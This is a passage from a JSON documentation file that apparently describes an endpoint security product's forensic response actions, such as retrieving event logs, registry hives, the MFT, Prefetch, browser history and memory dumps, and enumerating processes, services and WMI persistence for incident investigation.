system activities that are logged by the operating system.", "content.p_response_retrieve_event__00130": "These logs contain information about system events, security events, and application events:", "step.step_response_retrieve_event__05AD3": "System events: system startup and shutdown, driver failures, hardware issues, and other system-related events.", "step.step_response_retrieve_event__0EA3D": "Security events: logon and logoff events, account management, object access, policy changes, and other security-related events.", "step.step_response_retrieve_event__0BA53": "Application events: application installations, updates, errors, and other application-related events.", "content.p_response_retrieve_event__035DB": "In a forensic investigation, these log entries can provide a detailed record of system activities.", "content.pt_response_retrieve_event__017D2": "GUID ", "content.pd_response_retrieve_event__0FF19": "Enter GUID (Globally Unique Identifier) of programs and drivers for log entries that you want to retrieve. You can use regular expressions (regex).", "desc": [ "content.p_response_retrieve_event__0704B", "content.p_response_retrieve_event__00130", { "steps.ul_response_retrieve_event__00E85": [ "step.step_response_retrieve_event__05AD3", "step.step_response_retrieve_event__0EA3D", "step.step_response_retrieve_event__0BA53" ] }, "content.p_response_retrieve_event__035DB", { "parml.parml_response_retrieve_event__06DE6": [ { "plentry.plentry_response_retrieve_event__0A8F2": [ "content.pt_response_retrieve_event__017D2", "content.pd_response_retrieve_event__0FF19" ] } ] } ] }, "response_retrieve_anti_virus_logs-latest-en.json": { "title": "title_response_retrieve_anti_v_0393C", "title_response_retrieve_anti_v_0393C": "Retrieve anti-virus logs (Win)", "shortdesc": "shortdesc_response_retrieve_anti_v_09859", "shortdesc_response_retrieve_anti_v_09859": "Retrieves anti-virus log files.", "content.p_response_retrieve_anti_v_07148": "Use this action to retrieve anti-virus log files from an endpoint. The log files use either .log, .txt, .html, or .evtx format.", "desc": [ "content.p_response_retrieve_anti_v_07148" ] }, "response_retrieve_browser-latest-en.json": { "title": "title_response_retrieve_browse_080D7", "title_response_retrieve_browse_080D7": "Retrieve browser artefacts (Win)", "shortdesc": "shortdesc_response_retrieve_browse_02DF1", "shortdesc_response_retrieve_browse_02DF1": "Retrieves the browser history from the device. ", "content.p_response_retrieve_browse_0269F": "If a device is infected with malware, the user may have downloaded it through their web browser. Retrieve the browser history to identify the source URL of the malware.", "content.pt_response_retrieve_browse_062CA": "Username ", "content.pd_response_retrieve_browse_00554": "If you require a particular user's browser history, enter their Windows account username. Leave the field empty to retrieve browser history from all user accounts on the device. This is the default setting.", "content.pt_response_retrieve_browse_0E618": "Chrome, Edge, Internet Explorer, Firefox, Opera ", "content.pd_response_retrieve_browse_04552": "Choose the web browsers from which to retrieve browser histories.", "desc": [ "content.p_response_retrieve_browse_0269F", { "parml.parml_response_retrieve_browse_0D63C": [ { "plentry.plentry_response_retrieve_browse_0BDC3": [ "content.pt_response_retrieve_browse_062CA", "content.pd_response_retrieve_browse_00554" ] }, { "plentry.plentry_response_retrieve_browse_09385": [ "content.pt_response_retrieve_browse_0E618", "content.pd_response_retrieve_browse_04552" ] } ] } ] }, "response_retrieve_jumplists-latest-en.json": { "title": "title_response_retrieve_jumpli_0AE31", "title_response_retrieve_jumpli_0AE31": "Retrieve jumplist files (Win)", "shortdesc": "shortdesc_response_retrieve_jumpli_0BEB5", "shortdesc_response_retrieve_jumpli_0BEB5": "Retrieves Jump Lists that are stored in the AutomaticDestinations and CustomDestinations subfolders of the user's \\AppData\\Roaming\\Microsoft\\Windows\\Recent folder. ", "content.p_response_retrieve_jumpli_0C5D9": "Windows creates Jump Lists automatically to let users access items that they frequently use or have recently accessed, which means that Jump Lists maintain records of recently accessed files and folders and group them on an application basis.", "content.p_response_retrieve_jumpli_0C221": "These records can provide data about activities on the computer to help with the investigation.", "desc": [ "content.p_response_retrieve_jumpli_0C5D9", "content.p_response_retrieve_jumpli_0C221" ] }, "response_retrieve_mft-latest-en.json": { "title": "title_response_retrieve_mft_00008674", "title_response_retrieve_mft_00008674": "Retrieve MFT (Win)", "shortdesc": "shortdesc_response_retrieve_mft_0000501A", "shortdesc_response_retrieve_mft_0000501A": "Retrieves the Master File Table (MFT) of a drive. ", "content.p_response_retrieve_mft_000078CD": "Every file on an NTFS formatted file system is represented by a record in the Master File Table (MFT) database which contains metadata about each file. When you are investigating an incident, this metadata contains information on the system structure and how each file has been interacted and possibly tampered with.", "content.pt_response_retrieve_mft_0000E82E": "Drive ", "content.pd_response_retrieve_mft_00005835": "Select the drive to use.", "desc": [ "content.p_response_retrieve_mft_000078CD", { "parml.parml_response_retrieve_mft_00000874": [ { "plentry.plentry_response_retrieve_mft_0000987E": [ "content.pt_response_retrieve_mft_0000E82E", "content.pd_response_retrieve_mft_00005835" ] } ] } ] }, "response_retrieve_rdp_cache-latest-en.json": { "title": "title_response_retrieve_rdp_ca_0E339", "title_response_retrieve_rdp_ca_0E339": "Retrieve RDP cache files (Win)", "shortdesc": "shortdesc_response_retrieve_rdp_ca_0088B", "shortdesc_response_retrieve_rdp_ca_0088B": "Retrieves the Remote Desktop Protocol (RDP) cache files. ", "content.p_response_retrieve_rdp_ca_03CFC": "When the Windows computer connects to a remote system using the Remote Desktop Protocol, it creates cache files that contain bitmap images of the remote system's screen to speed up the connection. These files can be useful during forensic analysis as they can provide a visual record of the remote system's screen during an RDP session.", "desc": [ "content.p_response_retrieve_rdp_ca_03CFC" ] }, "response_retrieve_registry_hives-latest-en.json": { "title": "title_response_retrieve_regist_0E682", "title_response_retrieve_regist_0E682": "Retrieve registry hives (Win)", "shortdesc": "shortdesc_response_retrieve_regist_04799", "shortdesc_response_retrieve_regist_04799": "Retrieves registry hives. ", "content.p_response_retrieve_regist_0BEB1": "Similar to the Map registry action, this action retrieves the specified registry hive from the endpoint. This provides insight into the registry structure and can show clues whether the endpoint has been compromised.", "content.pt_response_retrieve_regist_09451": "Include user hives ", "content.pd_response_retrieve_regist_082CC": "Select to include user hives.", "desc": [ "content.p_response_retrieve_regist_0BEB1", { "parml.parml_response_retrieve_regist_08CAF": [ { "plentry.plentry_response_retrieve_regist_01652": [ "content.pt_response_retrieve_regist_09451", "content.pd_response_retrieve_regist_082CC" ] } ] } ] }, "response_retrieve_srum_db-latest-en.json": { "title": "title_response_retrieve_srum_d_00926", "title_response_retrieve_srum_d_00926": "Retrieve System Resource Usage Monitor database (Srumdb) (Win)", "shortdesc": "shortdesc_response_retrieve_srum_d_055DA", "shortdesc_response_retrieve_srum_d_055DA": "Retrieves the SRUDB.dat file from the Windows System32\\sru folder. ", "content.p_response_retrieve_srum_d_03A8D": "The SRUDB.dat file is part of the System Resource Usage Monitor (SRUM) which tracks application usage, network usage, and system energy state. This information can be useful for forensic analysis.", "content.p_response_retrieve_srum_d_0F58B": "This action can be used in Windows 8 and newer.", "desc": [ "content.p_response_retrieve_srum_d_03A8D", "content.p_response_retrieve_srum_d_0F58B" ] }, "response_map_registry-latest-en.json": { "title": "title_response_map_registry_0000F6CA", "title_response_map_registry_0000F6CA": "Map registry (Win)", "shortdesc": "shortdesc_response_map_registry_0000E8F0", "shortdesc_response_map_registry_0000E8F0": "Retrieves a listing of all registry keys under the given path. ", "content.p_response_map_registry_0000937B": "Attackers use different techniques to achieve persistence on a compromised endpoint. Most of these involve tampering with specific parts of the operating system, such as the Windows registry. Use this action to retrieve all registry keys and values contained within a specified registry path on an endpoint.", "content.pt_response_map_registry_00009C35": "Format", "content.pd_response_map_registry_00003B5C": "Select either Basic or Regex match format for the path.", "content.pt_response_map_registry_0000BD05": "Path ", "content.pd_response_map_registry_0000EB32": "Enter the path to the registry key that you want to map.", "content.pt_response_map_registry_00005F9A": "Values ", "content.pd_response_map_registry_00001224": "Use this parameter to find registry entries that match a specific regular expression.", "content.pt_response_map_registry_00005211": "Depth ", "content.pd_response_map_registry_00006F7D": "Set how many levels into the registry hierarchy to search from the defined path.", "content.title_response_map_registry_0000F67C": "Parameter example", "content.p_response_map_registry_00006EAD": "Basic: path: HKEY_LOCAL_MACHINE\\SOFTWARE\\F-Secure\\About; values: *", "content.p_response_map_registry_0000AC1A": "This returns keys and values under HKEY_LOCAL_MACHINE\\SOFTWARE\\F-Secure\\About", "content.p_response_map_registry_00006D53": "Regex: path: HKEY_LOCAL_MACHINE\\\\SOFTWARE\\F-SECURE; values: A.*; depth: 3.", "content.p_response_map_registry_00000C17": "This returns keys and values under HKEY_LOCAL_MACHINE\\SOFTWARE\\F-Secure\\ starting with letter A. For example: HKEY_LOCAL_MACHINE\\SOFTWARE\\F-Secure\\About, HKEY_LOCAL_MACHINE\\SOFTWARE\\F-Secure\\ATP Client", "content.title_response_map_registry_0000BC26": "Regex examples", "content.p_response_map_registry_000038B4": "Searching for a file (temp.txt) when you know the drive letter:", "content.p_response_map_registry_00002D98": "c:\\\\(.*\\\\)?temp\\.txt", "content.p_response_map_registry_00009470": "Searching for a file (temp.txt) across all drives:", "content.p_response_map_registry_0000B73D": ".*\\\\temp\\.txt", "step.step_response_map_registry_000086A8": "Searching for a file where the file path is unknown.", "content.p_response_map_registry_0000250C": "Searching for any executable in c:\\path where the file name is precisely 4 characters in length:", "content.p_response_map_registry_00005F65": "c:\\\\path\\\\.{4}\\.exe", "content.p_response_map_registry_0000B585": "Searching for any executable with a file name between 4 and 6 characters in length:", "content.p_response_map_registry_0000703D": "c:\\\\path\\\\.{4,6}\\.exe", "step.step_response_map_registry_00003653": "Searching for files that match a fixed-length random string - for example, heof.exe, jmeb.exe, nekj.exe.", "content.p_response_map_registry_00005E48": "Searching for files or folders anywhere in c: that end with either bat or xls:", "content.p_response_map_registry_0000660B": "c:\\\\.*\\.(bat|xls)", "step.step_response_map_registry_00001B0F": "Searching for files that end with a particular extension – for example, *.ps1, *.xsl.", "content.p_response_map_registry_00009E8D": "For further help, use a regular expression tester tool.", "desc": [ "content.p_response_map_registry_0000937B", { "parml.parml_response_map_registry_0000062D": [ { "plentry.plentry_response_map_registry_0000CEB6": [ "content.pt_response_map_registry_00009C35", "content.pd_response_map_registry_00003B5C" ] }, { "plentry.plentry_response_map_registry_0000E9C0": [ "content.pt_response_map_registry_0000BD05", "content.pd_response_map_registry_0000EB32" ] }, { "plentry.plentry_response_map_registry_000042BD": [ "content.pt_response_map_registry_00005F9A", "content.pd_response_map_registry_00001224" ] }, { "plentry.plentry_response_map_registry_0000CFE2": [ "content.pt_response_map_registry_00005211", "content.pd_response_map_registry_00006F7D" ] } ] }, "content.title_response_map_registry_0000F67C", "content.p_response_map_registry_00006EAD", "content.p_response_map_registry_0000AC1A", "content.p_response_map_registry_00006D53", "content.p_response_map_registry_00000C17", "content.title_response_map_registry_0000BC26", { "steps.ol_response_map_registry_0000B8F1": [ "step.step_response_map_registry_000086A8", "content.p_response_map_registry_000038B4", "content.p_response_map_registry_00002D98", "content.p_response_map_registry_00009470", "content.p_response_map_registry_0000B73D", "step.step_response_map_registry_00003653", "content.p_response_map_registry_0000250C", "content.p_response_map_registry_00005F65", "content.p_response_map_registry_0000B585", "content.p_response_map_registry_0000703D", "step.step_response_map_registry_00001B0F", "content.p_response_map_registry_00005E48", "content.p_response_map_registry_0000660B" ] }, "content.p_response_map_registry_00009E8D" ] }, "response_retrieve_mbr-latest-en.json": { "title": "title_response_retrieve_mbr_00002389", "title_response_retrieve_mbr_00002389": "Retrieve MBR (Win)", "shortdesc": "shortdesc_response_retrieve_mbr_0000666F", "shortdesc_response_retrieve_mbr_0000666F": "Retrieves the Master Boot Record (MBR) of a drive. ", "content.p_response_retrieve_mbr_0000FED6": "The Master Boot Record is the first sector of a hard drive. It contains the initial loader and information about partition tables on a hard disk. Malicious code can be hidden on this section of the computer system.", "content.pt_response_retrieve_mbr_00006607": "Drive ", "content.pd_response_retrieve_mbr_000029D1": "Select the drive to use.", "content.pt_response_retrieve_mbr_0000F502": "Use Json ", "content.pd_response_retrieve_mbr_00000BB8": "Choose whether the parsed output should be in json format.", "desc": [ "content.p_response_retrieve_mbr_0000FED6", { "parml.parml_response_retrieve_mbr_00008405": [ { "plentry.plentry_response_retrieve_mbr_000081E0": [ "content.pt_response_retrieve_mbr_00006607", "content.pd_response_retrieve_mbr_000029D1" ] }, { "plentry.plentry_response_retrieve_mbr_0000A9DF": [ "content.pt_response_retrieve_mbr_0000F502", "content.pd_response_retrieve_mbr_00000BB8" ] } ] } ] }, "response_retrieve_amcache-latest-en.json": { "title": "title_response_retrieve_amcach_01634", "title_response_retrieve_amcach_01634": "Retrieve Amcache (Win)", "shortdesc": "shortdesc_response_retrieve_amcach_04989", "shortdesc_response_retrieve_amcach_04989": "Retrieves the Application Compatibility Cache file from the device. ", "content.p_response_retrieve_amcach_04A0A": "The Application Compatibility Cache is a database file that stores information about applications that have been run on a Windows system. You can use it to investigate what programs have been installed on the system and the last time they were run.", "desc": [ "content.p_response_retrieve_amcach_04A0A" ] }, "response_retrieve_prefetch-latest-en.json": { "title": "title_response_retrieve_prefet_05DB4", "title_response_retrieve_prefet_05DB4": "Retrieve Prefetch (Win)", "shortdesc": "shortdesc_response_retrieve_prefet_061D9", "shortdesc_response_retrieve_prefet_061D9": "Retrieves the Prefetch folder from the device. ", "content.p_response_retrieve_prefet_039BA": "The Windows Prefetch folder contains a record of frequently-used applications. You can use it to investigate which programs have been run on a system and how often. To help investigate a detection, you can retrieve the Prefetch data to determine when the applications were started on the host.", "desc": [ "content.p_response_retrieve_prefet_039BA" ] }, "response_retrieve_recent_files-latest-en.json": { "title": "title_response_retrieve_recent_02EAD", "title_response_retrieve_recent_02EAD": "Retrieve Recently Accessed (Win)", "shortdesc": "shortdesc_response_retrieve_recent_0042B", "shortdesc_response_retrieve_recent_0042B": "Retrieves information about recently accessed files from the device. ", "content.p_response_retrieve_recent_0AFAE": "Information about recently accessed files can provide valuable context and clues about what has occurred on the device.", "content.p_response_retrieve_recent_029D5": "You can retrieve recently accessed files to investigate if any malicious files have been accessed or run on the device or find specific files that may have been targeted by an attacker, such as system configuration files or databases containing sensitive information. Recently accessed files can also be used to identify if sensitive data has been accessed.", "desc": [ "content.p_response_retrieve_recent_0AFAE", "content.p_response_retrieve_recent_029D5" ] }, "response_map_file_system-latest-en.json": { "title": "title_response_map_file_system_07A34", "title_response_map_file_system_07A34": "Map file system (Win, Lnx, Mac)", "shortdesc": "shortdesc_response_map_file_system_0B3C4", "shortdesc_response_map_file_system_0B3C4": "Retrieves a listing of all files and folders under the given path. ", "content.p_response_map_file_system_09F83": "The structure of the file system of a given endpoint can be very useful for finding information on the compromise.", "content.p_response_map_file_system_0A661": "Use this action to find a suspicious file on an endpoint by searching the whole file system or a specific part of it.", "content.pt_response_map_file_system_0C8EC": "Format", "content.pd_response_map_file_system_03056": "Select either Basic or Regex match format for the path.", "content.pt_response_map_file_system_08591": "Path ", "content.pd_response_map_file_system_02BF8": "Enter the path of the file system that you want to map.", "content.pt_response_map_file_system_0AB29": "Depth ", "content.pd_response_map_file_system_05355": "Set how many levels of subdirectories to search starting from the specified path.", "content.pt_response_map_file_system_06508": "Maximum file size to hash ", "content.pd_response_map_file_system_04408": "The maximum size of a file to hash. This can prevent excessive delays when hashing large files.", "content.title_response_map_file_system_0483E": "Regex examples", "content.p_response_map_file_system_01926": "Searching for a file (temp.txt) when you know the drive letter:", "content.p_response_map_file_system_0DAED": "c:\\\\(.*\\\\)?temp\\.txt", "content.p_response_map_file_system_0E068": "Searching for a file (temp.txt) across all drives:", "content.p_response_map_file_system_086F0": ".*\\\\temp\\.txt", "step.step_response_map_file_system_04CDF": "Searching for a file where the file path is unknown.", "content.p_response_map_file_system_0BA4F": "Searching for any executable in c:\\path where the file name is precisely 4 characters in length:", "content.p_response_map_file_system_08D39": "c:\\\\path\\\\.{4}\\.exe", "content.p_response_map_file_system_0EA35": "Searching for any executable with a file name between 4 and 6 characters in length:", "content.p_response_map_file_system_06B48": "c:\\\\path\\\\.{4,6}\\.exe", "step.step_response_map_file_system_0A3C2": "Searching for files that match a fixed-length random string - for example, heof.exe, jmeb.exe, nekj.exe.", "content.p_response_map_file_system_0CA84": "Searching for files or folders anywhere in c: that end with either bat or xls:", "content.p_response_map_file_system_03922": "c:\\\\.*\\.(bat|xls)", "step.step_response_map_file_system_019B2": "Searching for files that end with a particular extension – for example, *.ps1, *.xsl.", "content.p_response_map_file_system_0D5B6": "For further help, use a regular expression tester tool.", "desc": [ "content.p_response_map_file_system_09F83", "content.p_response_map_file_system_0A661", { "parml.parml_response_map_file_system_0752F": [ { "plentry.plentry_response_map_file_system_0412A": [ "content.pt_response_map_file_system_0C8EC", "content.pd_response_map_file_system_03056" ] }, { "plentry.plentry_response_map_file_system_0D816": [ "content.pt_response_map_file_system_08591", "content.pd_response_map_file_system_02BF8" ] }, { "plentry.plentry_response_map_file_system_064BD": [ "content.pt_response_map_file_system_0AB29", "content.pd_response_map_file_system_05355" ] }, { "plentry.plentry_response_map_file_system_0BF61": [ "content.pt_response_map_file_system_06508", "content.pd_response_map_file_system_04408" ] } ] }, "content.title_response_map_file_system_0483E", { "steps.ol_response_map_file_system_09FB1": [ "step.step_response_map_file_system_04CDF", "content.p_response_map_file_system_01926", "content.p_response_map_file_system_0DAED", "content.p_response_map_file_system_0E068", "content.p_response_map_file_system_086F0", "step.step_response_map_file_system_0A3C2", "content.p_response_map_file_system_0BA4F", "content.p_response_map_file_system_08D39", "content.p_response_map_file_system_0EA35", "content.p_response_map_file_system_06B48", "step.step_response_map_file_system_019B2", "content.p_response_map_file_system_0CA84", "content.p_response_map_file_system_03922" ] }, "content.p_response_map_file_system_0D5B6" ] }, "response_netstat-latest-en.json": { "title": "title_response_netstat_000001_8C8527", "title_response_netstat_000001_8C8527": "Netstat (Win, Lnx, Mac)", "shortdesc": "shortdesc_response_netstat_000006_6EB9F9", "shortdesc_response_netstat_000006_6EB9F9": "Retrieves network connections, routing tables, interface statistics, masquerade connections, multicast memberships, and associated process information for each entry from the selected endpoints. ", "content.p_response_netstat_000014_64B3AA": "This action runs the Windows Netstat command to get a snapshot of the current network connections for an endpoint. You can use this to detect any suspicious or malicious connections, for example, outbound connections to a Command and Control (C&C) server that the attacker owns.", "content.pt_response_netstat_000018_CEF4B7": "Maximum file size to hash ", "content.pd_response_netstat_000019_70AD27": "The maximum size of a file to hash. This parameter can prevent excessive delays when hashing large files.", "desc": [ "content.p_response_netstat_000014_64B3AA", { "parml.parml_response_netstat_000016_CC694A": [ { "plentry.plentry_response_netstat_000017_559C6B": [ "content.pt_response_netstat_000018_CEF4B7", "content.pd_response_netstat_000019_70AD27" ] } ] } ] }, "response_enumerate_processes-latest-en.json": { "title": "title_response_enumerate_proce_0D6C5", "title_response_enumerate_proce_0D6C5": "Enumerate processes (Win, Lnx, Mac)", "shortdesc": "shortdesc_response_enumerate_proce_09DA2", "shortdesc_response_enumerate_proce_09DA2": "Lists running processes. ", "content.p_response_enumerate_proce_0B1A9": "Knowing the processes that are running on an endpoint is useful if you have found a suspicious file on an endpoint.", "content.pt_response_enumerate_proce_00316": "Include working set ", "content.pd_response_enumerate_proce_0B81C": "Select to include the process working set memory.", "content.pt_response_enumerate_proce_0AA18": "Include threads ", "content.pd_response_enumerate_proce_04987": "Select to include the list of thread IDs.", "content.pt_response_enumerate_proce_0CA95": "Include command line ", "content.pd_response_enumerate_proce_02B3D": "Select to include arguments of the processes that the operating system reports.", "content.note_response_enumerate_proce_0FBA3": "Note: The operating system may report the command line arguments inaccurately.
", "desc": [ "content.p_response_enumerate_proce_0B1A9", { "parml.parml_response_enumerate_proce_024BE": [ { "plentry.plentry_response_enumerate_proce_08F6A": [ "content.pt_response_enumerate_proce_00316", "content.pd_response_enumerate_proce_0B81C" ] }, { "plentry.plentry_response_enumerate_proce_04BAE": [ "content.pt_response_enumerate_proce_0AA18", "content.pd_response_enumerate_proce_04987" ] }, { "plentry.plentry_response_enumerate_proce_077E4": [ "content.pt_response_enumerate_proce_0CA95", "content.pd_response_enumerate_proce_02B3D", "content.note_response_enumerate_proce_0FBA3" ] } ] } ] }, "response_enumerate_scheduled_tasks-latest-en.json": { "title": "title_response_enumerate_sched_07009", "title_response_enumerate_sched_07009": "Enumerate scheduled tasks (Win)", "shortdesc": "shortdesc_response_enumerate_sched_029CE", "shortdesc_response_enumerate_sched_029CE": "Lists Windows scheduled tasks. ", "content.p_response_enumerate_sched_0DBE7": "Attackers use different techniques to achieve persistence on a compromised endpoint. Most of these involve tampering with specific parts of the operating system, such as scheduled tasks. Use this action to view Windows scheduled tasks on an endpoint.", "content.pt_response_enumerate_sched_0CDAF": "Include XML ", "content.pd_response_enumerate_sched_04CB2": "Select to include XML definitions of the scheduled tasks.", "desc": [ "content.p_response_enumerate_sched_0DBE7", { "parml.parml_response_enumerate_sched_06B52": [ { "plentry.plentry_response_enumerate_sched_0C182": [ "content.pt_response_enumerate_sched_0CDAF", "content.pd_response_enumerate_sched_04CB2" ] } ] } ] }, "response_enumerate_services-latest-en.json": { "title": "title_response_enumerate_servi_0FD0A", "title_response_enumerate_servi_0FD0A": "Enumerate services (Win)", "shortdesc": "shortdesc_response_enumerate_servi_0A5E8", "shortdesc_response_enumerate_servi_0A5E8": "Lists installed services.", "content.p_response_enumerate_servi_07686": "Attackers use different techniques to achieve persistence on a compromised endpoint. Most of these are related to tampering with specific parts of the operating system, such as services. Use this action to view installed services on an endpoint.", "desc": [ "content.p_response_enumerate_servi_07686" ] }, "response_wmi_persistence_enumeration-latest-en.json": { "title": "title_response_wmi_persistence_0A05A", "title_response_wmi_persistence_0A05A": "Enumerate WMI persistence (Win)", "shortdesc": "shortdesc_response_wmi_persistence_0D0FF", "shortdesc_response_wmi_persistence_0D0FF": "Returns a structured iterable listing of Windows Management Instrumentation (WMI) objects. ", "content.p_response_wmi_persistence_06EAE": "The default behavior returns objects related to persistence.", "content.p_response_wmi_persistence_0B1D2": "The action allows visibility into Windows Management Instrumentation (WMI) instances by way of WQL queries. The default set of queries enumerates all types of persistence entries in the root\\subscription WMI namespace. The provided parameters are optional and allow any set of queries to be run in any namespace.", "content.p_response_wmi_persistence_07E8B": "Additional parameters are provided to return further detail and limit the number of entries returned. The output is in JSONL form, optimized for both human and machine readability.", "content.p_response_wmi_persistence_05727": "Use this action to determine whether WMI persistence mechanisms are in use by an attacker. The default parameters return WMI instances related to persistence.", "content.pt_response_wmi_persistence_030F6": "Namespace ", "content.pd_response_wmi_persistence_03668": "Enter the WMI namespace to query. The default is set to \"root\\subscription\". Example: root\\cimv2", "content.pt_response_wmi_persistence_07A16": "WQL queries ", "content.pd_response_wmi_persistence_088E3": "Enter WQL query to retrieve a list of the WMI instances present on a machine. By default, the EventConsumer, EventFilter and FilterToConsumerBinding instances are retrieved if nothing is entered. Example: SELECT * FROM Win32_LogicalDisk", "content.pt_response_wmi_persistence_08E41": "Limit ", "content.pd_response_wmi_persistence_03F74": "The maximum number of descriptive entries returned. Defaults to 100 to keep the job well time-bounded. May not be zero or negative.", "content.pt_response_wmi_persistence_0116E": "Indented JSON ", "content.pd_response_wmi_persistence_0FD28": "Selects whether JSON entries produced will have indentation for readability purposes.", "content.pt_response_wmi_persistence_074CE": "Property qualifiers ", "content.pd_response_wmi_persistence_09528": "Renders the qualifiers (meta-information) for WMI object properties.", "content.pt_response_wmi_persistence_0CAC1": "Extended information ", "content.pd_response_wmi_persistence_0C439": "Renders extended information for WMI object properties.", "content.pt_response_wmi_persistence_099AA": "Include system properties ", "content.pd_response_wmi_persistence_0B17E": "Lists system properties for each WMI object returned. These are normally implicit when accessing WMI by other methods.", "desc": [ "content.p_response_wmi_persistence_06EAE", "content.p_response_wmi_persistence_0B1D2", "content.p_response_wmi_persistence_07E8B", "content.p_response_wmi_persistence_05727", { "parml.parml_response_wmi_persistence_0711F": [ { "plentry.plentry_response_wmi_persistence_0CB71": [ "content.pt_response_wmi_persistence_030F6", "content.pd_response_wmi_persistence_03668" ] }, { "plentry.plentry_response_wmi_persistence_0268E": [ "content.pt_response_wmi_persistence_07A16", "content.pd_response_wmi_persistence_088E3" ] }, { "plentry.plentry_response_wmi_persistence_0A582": [ "content.pt_response_wmi_persistence_08E41", "content.pd_response_wmi_persistence_03F74" ] }, { "plentry.plentry_response_wmi_persistence_091A9": [ "content.pt_response_wmi_persistence_0116E", "content.pd_response_wmi_persistence_0FD28" ] }, { "plentry.plentry_response_wmi_persistence_0D7B8": [ "content.pt_response_wmi_persistence_074CE", "content.pd_response_wmi_persistence_09528" ] }, { "plentry.plentry_response_wmi_persistence_0B3B7": [ "content.pt_response_wmi_persistence_0CAC1", "content.pd_response_wmi_persistence_0C439" ] }, { "plentry.plentry_response_wmi_persistence_0C1E6": [ "content.pt_response_wmi_persistence_099AA", "content.pd_response_wmi_persistence_0B17E" ] } ] } ] }, "response_process_memory_dump-latest-en.json": { "title": "title_response_process_memory__0A5D0", "title_response_process_memory__0A5D0": "Process memory dump (Win, Lnx)", "shortdesc": "shortdesc_response_process_memory__02B21", "shortdesc_response_process_memory__02B21": "Retrieves memory dumps of one or more processes. ", "content.p_response_process_memory__00306": "This action captures only the part of the memory that the system has assigned to the specified processes. This is much faster and returns less clutter than capturing a full memory dump.", "content.pt_response_process_memory__08041": "Match ", "content.pd_response_process_memory__0169C": "Select either Process ID or Process name.", "content.pt_response_process_memory__0B607": "Process ID or name ", "content.pd_response_process_memory__0C08C": "Enter the ID or name of the process that you want to use for the process memory dump.", "content.pt_response_process_memory__027F2": "Flags ", "content.pd_response_process_memory__0A8CA": "Select either Full or PMEM. Full includes all accessible memory in the process and may generate very large memory dump files. PMEM includes only the information that is necessary to capture stack traces for all existing threads in the process.", "content.title_response_process_memory__001EF": "Parameter example", "content.dt_response_process_memory__0DBEB": "Process ID", "content.dd_response_process_memory__071C8": "1440", "content.dt_response_process_memory__0155F": "Process name", "content.dd_response_process_memory__0D168": "notepad", "desc": [ "content.p_response_process_memory__00306", { "parml.parml_response_process_memory__02123": [ { "plentry.plentry_response_process_memory__0759F": [ "content.pt_response_process_memory__08041", "content.pd_response_process_memory__0169C" ] }, { "plentry.plentry_response_process_memory__03ADE": [ "content.pt_response_process_memory__0B607", "content.pd_response_process_memory__0C08C" ] }, { "plentry.plentry_response_process_memory__01383": [ "content.pt_response_process_memory__027F2", "content.pd_response_process_memory__0A8CA" ] } ] }, "content.title_response_process_memory__001EF", { "dl.dl_response_process_memory__0ECDE": [ { "dlentry.dlentry_response_process_memory__09B11": [ "content.dt_response_process_memory__0DBEB", "content.dd_response_process_memory__071C8" ] }, { "dlentry.dlentry_response_process_memory__0D607": [ "content.dt_response_process_memory__0155F", "content.dd_response_process_memory__0D168" ] } ] } ] }, "response_full_memory_dump-latest-en.json": { "title": "title_response_full_memory_dum_065E5", "title_response_full_memory_dum_065E5": "Full memory dump (Win, Lnx)", "shortdesc": "shortdesc_response_full_memory_dum_04E21", "shortdesc_response_full_memory_dum_04E21": "Uploads a full memory dump. ", "content.p_response_full_memory_dum_01775": "Viewing a full memory dump can be useful when you are analyzing advanced process injection techniques, such as reflective loading.", "content.note_response_full_memory_dum_0C987": "Important: This job uploads large files and will block subsequent jobs. We recommend that you perform other actions on an endpoint before selecting this action. Make sure that there is enough free disk space before you download and analyze the full memory dump file.", "content.pt_response_full_memory_dum_0465A": "Version ", "content.pd_response_full_memory_dum_0CCF6": "Select either 1.6 or 2.1 based on the version of WinPmem that you use to analyze the memory dump file.", "desc": [ "content.p_response_full_memory_dum_01775", "content.note_response_full_memory_dum_0C987", { "parml.parml_response_full_memory_dum_067B1": [ { "plentry.plentry_response_full_memory_dum_0AF92": [ "content.pt_response_full_memory_dum_0465A", "content.pd_response_full_memory_dum_0CCF6" ] } ] } ] }, "test_documentation-latest-en.json": { "title": "title_test_connections_000001_7BFB02", "title_test_connections_000001_7BFB02": "Test connections (Win)", "shortdesc": "shortdesc_test_connections_000002_924110", "shortdesc_test_connections_000002_924110": "Tests whether a set of host and port combinations can be reached from an end-point device.", "content.p_test_connections_000010_E8B6B1": "There are three arguments:", "content.title_test_connections_000011_2D6494": "Test connection arguments", "cell.entry_test_connections_000019_6A58C9": "Name", "cell.entry_test_connections_00001A_C2C6AD": "Type", "cell.entry_test_connections_00001B_A46386": "Description", "cell.entry_test_connections_00001C_E6A0B7": "Examples", "cell.entry_test_connections_00001F_489043": "Addresses", "cell.entry_test_connections_000021_C50286": "List of strings", "cell.entry_test_connections_000023_A68ED6": "A list of host+port combinations in the form of {hostname or ip}:{port}.", "cell.entry_test_connections_000025_0341E4": "www.google.com:8080
8.8.8.8:443", "cell.entry_test_connections_000029_1A0E8A": "Attempts", "cell.entry_test_connections_00002B_B643BC": "Integer", "cell.entry_test_connections_00002D_481A9D": "The number of attempts to form a connection; helps with unreliable network connections", "cell.entry_test_connections_00002F_A8C99C": "1
3", "cell.entry_test_connections_000033_820901": "Timeout", "cell.entry_test_connections_000035_961E9F": "Integer", "cell.entry_test_connections_000037_5D15D0": "The number of seconds to wait for a response before classifying a host as unreachable", "cell.entry_test_connections_000039_82FD77": "2
5", "content.p_test_connections_00003C_FF8C1E": "The template tries to form TCP connections to check whether a host is reachable. The data is returned in a zip file named connections-{host}-{date}.zip. The zip file contains a jsonl file, where each line specifies the host and port combination along with the corresponding result:", "content.p_test_connections_000044_91E1DC": "{\"address\": \"8.8.8.8\", \"port\": 443, \"attempts\": \"1\", \"result\": \"reachable\"}", "content.p_test_connections_00003F_DC0654": "The result can be reachable, unreachable, or unresolved. Unresolved indicates that the DNS was unable to retrieve the hostname, preventing the connection from being tested.", "desc": [ "content.p_test_connections_000010_E8B6B1", "content.title_test_connections_000011_2D6494", { "table.table_test-connection-arguments": [ { "thead.thead_test_connections_000017_BCAA8A": [ "cell.entry_test_connections_000019_6A58C9", "cell.entry_test_connections_00001A_C2C6AD", "cell.entry_test_connections_00001B_A46386", "cell.entry_test_connections_00001C_E6A0B7" ] }, { "row.row_test_connections_00001E_E3D7F8": [ "cell.entry_test_connections_00001F_489043", "cell.entry_test_connections_000021_C50286", "cell.entry_test_connections_000023_A68ED6", 